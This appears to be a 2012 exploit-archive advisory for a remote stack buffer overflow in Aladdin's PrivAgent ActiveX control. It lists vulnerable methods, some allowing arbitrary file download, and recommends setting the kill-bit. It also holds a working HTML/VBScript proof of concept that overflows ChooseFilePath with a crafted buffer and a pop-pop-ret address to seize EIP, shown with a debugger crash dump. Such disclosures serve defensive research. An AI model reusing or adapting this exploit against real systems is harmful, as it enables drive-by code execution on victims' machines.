Aladdin Knowledge System Ltd. Active-X Buffer Overflow

2012-10-27 / 2012-10-29
Credit: shinnai
Risk: High
Local: No
Remote: Yes
CWE: CWE-119

================ FILE INFO: ================ Aladdin Knowledge System Ltd. PrivAgent ActiveX Control 2.0 Multiple Remote Vulnerabilities File: PrivAgent.ocx InternalName: PrivAgentAx OriginalFilename: PrivAgent.ocx FileVersion: FileDescription: PrivAgent ActiveX Control Product: Privilege ProductVersion: 02.0 Debug: False Patched: False PreRelease: False PrivateBuild: True SpecialBuild: False Language: English (United States) MD5 hash: c96dfc282b6bdc177abd076a9bb94933 ================ OBJECT SAFETY REPORT: ================ CLSID: {09F68A41-2FBE-11D3-8C9D-0008C7D901B6} ProgID: PrivAgentAx.PrivAgent.1 Description: PrivAgent Class RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: False ================ TESTED ON: ================ Windows XP Professional SP3 Windows 7 Professional SP3 ================ DOWNLOADABLE FROM: ================ ================ BUG INFO: ================ This ocx seems to be really poor coded. I've found so many errors that I felt too choosy (yes Mrs. Elsa Fornero, I AM choosy and I AM proud of it) to test any other method. Below there's a list of stack-based buffer overflow, insecure file download and a proof of concept which exploits a good old fashioned (or trivial, if you like) stack based buffer overflow, triggered simply passing to the "ChooseFilePath" method a string longer than 268 bytes. In this case, after a memory reading exception, we are in full control of EIP. Here it is the list of vulnerable methods, guess which ones are vulnerable to arbitrary file download? :) #1 Function DownloadLicense ( ByVal sURL As String , ByVal sPath As String , ByVal bInstall As Boolean ) As Long #2 Function ChooseFilePath ( ByVal sFileName As String ) As String #3 Function InstallLicense ( ByVal szLicensePath As String ) As Long #4 Function InstallPrivilege ( ByVal szInstFilePath As String ) As Long #4 Function DownloadPrivilege ( ByVal szURL As String , ByVal szTargetDir As String , ByVal bInstall As Boolean ) As Long #4 Function InstallDevExt ( ByVal szDevExtPath As String ) As Long #5 Function DownloadDevExt ( ByVal szURL As String , ByVal szTargetPath As String , ByVal bInstall As Boolean ) As Long ================ PROOF OF CONCEPT: ================ <html> <object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object> <script language = 'vbscript'> buffer = String(268, "A") getEIP = unescape("bbbb") buffer_2 = "CCCCCCCC" exception = unescape("%5A%0B%02%10") '0x10020B5A pop ESI-pop-ret from PrivAgent.ocx buffer_3 = unescape("EEEE" + String(2712, "F")) test.ChooseFilePath buffer + getEIP + buffer_2 + exception + buffer_3 </script> </html> ================ CRASH DUMP: ================ 0:005> g WARNING: Continuing a non-continuable exception (1138.1304): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=076886d8 ecx=00385f70 edx=086dc628 esi=0253cfa4 edi=0253cd24 eip=62626262 esp=0253cce4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 62626262 ?? ??? ================ FIX: Set kill-bit to stop the activeX control


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top